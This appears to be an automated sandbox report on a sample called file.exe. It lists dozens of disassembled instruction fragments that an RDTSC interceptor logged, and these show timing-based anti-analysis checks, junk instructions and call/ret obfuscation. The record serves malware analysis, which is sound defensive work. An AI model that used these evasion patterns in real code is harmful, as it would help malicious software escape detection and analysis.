Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B221C second address: 9B2241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F2EE4744186h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2241 second address: 9B2258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2EE4767536h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e js 00007F2EE476753Eh 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B08B6 second address: 9B08BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8058 second address: 9B809E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2EE4767545h 0x0000000e jmp 00007F2EE476753Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F2EE4767545h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8329 second address: 9B8341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Ah 0x00000007 jnl 00007F2EE4744176h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8341 second address: 9B8345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8345 second address: 9B834F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2EE4744176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B834F second address: 9B837D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F2EE4767538h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F2EE4767542h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B837D second address: 9B839E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2EE4744176h 0x0000000a jmp 00007F2EE4744186h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B839E second address: 9B83A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B83A7 second address: 9B83BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F2EE474417Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8571 second address: 9B8575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8575 second address: 9B8593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F2EE474417Ch 0x0000000e popad 0x0000000f pushad 0x00000010 jc 00007F2EE474417Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8FD0 second address: 9B8FDA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2EE4767536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8FDA second address: 9B8FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8FE0 second address: 9B9010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edi 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F2EE476753Ah 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9010 second address: 9B9036 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 call 00007F2EE4744179h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2EE4744181h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9036 second address: 9B9057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2EE476753Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9057 second address: 9B905D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B905D second address: 9B9067 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2EE476753Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9067 second address: 9B907B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jbe 00007F2EE474418Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B907B second address: 9B907F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B907F second address: 9B90C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edi 0x0000000c jmp 00007F2EE474417Fh 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007F2EE4744184h 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B968A second address: 9B96AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2EE4767543h 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F2EE4767536h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B98F2 second address: 9B98F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B98F6 second address: 9B98FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA2F9 second address: 9BA326 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2EE4744176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F2EE474418Bh 0x00000010 jmp 00007F2EE4744185h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA326 second address: 9BA337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA337 second address: 9BA33D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCE0F second address: 9BCE16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCB37 second address: 9BCB3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCB3D second address: 9BCB50 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2EE4767538h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCB50 second address: 9BCB68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD917 second address: 9BD91B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BD91B second address: 9BD9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F2EE4744182h 0x0000000c jmp 00007F2EE474417Ch 0x00000011 popad 0x00000012 nop 0x00000013 mov esi, eax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F2EE4744178h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 add dword ptr [ebp+1247A36Ch], edx 0x00000037 stc 0x00000038 push esi 0x00000039 pushad 0x0000003a jmp 00007F2EE4744187h 0x0000003f mov di, 0334h 0x00000043 popad 0x00000044 pop esi 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push ebp 0x0000004a call 00007F2EE4744178h 0x0000004f pop ebp 0x00000050 mov dword ptr [esp+04h], ebp 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc ebp 0x0000005d push ebp 0x0000005e ret 0x0000005f pop ebp 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+122D361Ah] 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a push ecx 0x0000006b jmp 00007F2EE474417Dh 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE554 second address: 9BE55A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE26F second address: 9BE273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE55A second address: 9BE55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C298D second address: 9C2993 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2993 second address: 9C29DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767545h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a adc edi, 45C119ABh 0x00000010 mov dword ptr [ebp+122D2B40h], edi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a mov di, 4C37h 0x0000001e jmp 00007F2EE4767548h 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 push ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C29DE second address: 9C29EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 js 00007F2EE4744176h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C29EC second address: 9C29F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0205 second address: 9C020F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2EE4744176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3B81 second address: 9C3B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5972 second address: 9C5978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5978 second address: 9C59C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+124798EDh], edi 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D2C0Fh] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F2EE4767538h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov di, BE7Ch 0x00000037 mov di, 0881h 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BE8 second address: 9C4BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE4744182h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C59C0 second address: 9C59C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4CE2 second address: 9C4CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F2EE4744178h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C693E second address: 9C6942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6942 second address: 9C6954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F2EE4744178h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C69F3 second address: 9C69F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C69F9 second address: 9C69FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C79EF second address: 9C79F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C79F3 second address: 9C7A01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7A01 second address: 9C7A07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7A07 second address: 9C7A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7A0B second address: 9C7A0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C0E second address: 9C7CCA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 jmp 00007F2EE474417Bh 0x0000000e pop ebx 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D1C44h], ebx 0x00000016 mov edi, 008E9BB8h 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov ebx, dword ptr [ebp+122D2B95h] 0x00000028 and ebx, dword ptr [ebp+122D37D6h] 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 call 00007F2EE4744187h 0x0000003a mov dword ptr [ebp+122D1DFAh], ecx 0x00000040 pop edi 0x00000041 mov eax, dword ptr [ebp+122D16F5h] 0x00000047 mov di, cx 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push edx 0x0000004f call 00007F2EE4744178h 0x00000054 pop edx 0x00000055 mov dword ptr [esp+04h], edx 0x00000059 add dword ptr [esp+04h], 0000001Ah 0x00000061 inc edx 0x00000062 push edx 0x00000063 ret 0x00000064 pop edx 0x00000065 ret 0x00000066 mov bx, ax 0x00000069 nop 0x0000006a pushad 0x0000006b jmp 00007F2EE4744187h 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F2EE4744188h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9B04 second address: 9C9B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9B09 second address: 9C9B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, 200A32FBh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F2EE4744178h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov ebx, edx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F2EE4744178h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 mov ebx, 2F1E3B11h 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 jl 00007F2EE4744176h 0x00000058 jg 00007F2EE4744176h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBB26 second address: 9CBB30 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2EE4767536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED22 second address: 9CED36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744180h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED36 second address: 9CED3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED3B second address: 9CED5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2EE4744176h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2EE474417Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED5B second address: 9CED94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2EE4767536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F2EE4767547h 0x0000000f popad 0x00000010 nop 0x00000011 adc ebx, 061D7600h 0x00000017 push 00000000h 0x00000019 mov ebx, edi 0x0000001b push 00000000h 0x0000001d mov ebx, 3C92009Fh 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 push esi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED94 second address: 9CEDA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007F2EE474417Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBDE0 second address: 9CBDFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767546h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CACB8 second address: 9CACBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0E8F second address: 9D0E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFF77 second address: 9CFF89 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2EE474417Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1DF6 second address: 9D1DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1DFC second address: 9D1E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D101C second address: 9D107B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 sub dword ptr [ebp+122D1B49h], ecx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 movsx ebx, cx 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f mov di, BAA4h 0x00000023 mov eax, dword ptr [ebp+122D0779h] 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F2EE4767538h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 or dword ptr [ebp+122D55EBh], eax 0x00000049 push FFFFFFFFh 0x0000004b xor dword ptr [ebp+122D1B59h], eax 0x00000051 nop 0x00000052 push eax 0x00000053 push edx 0x00000054 push ecx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1E01 second address: 9D1E33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2EE474417Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 je 00007F2EE474417Ch 0x00000016 mov ebx, dword ptr [ebp+1247C20Ch] 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D2B95h], esi 0x00000024 push eax 0x00000025 pushad 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D107B second address: 9D1080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1E33 second address: 9D1E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1080 second address: 9D108A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2EE4767536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D108A second address: 9D109C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jo 00007F2EE474417Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5DDE second address: 9D5DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
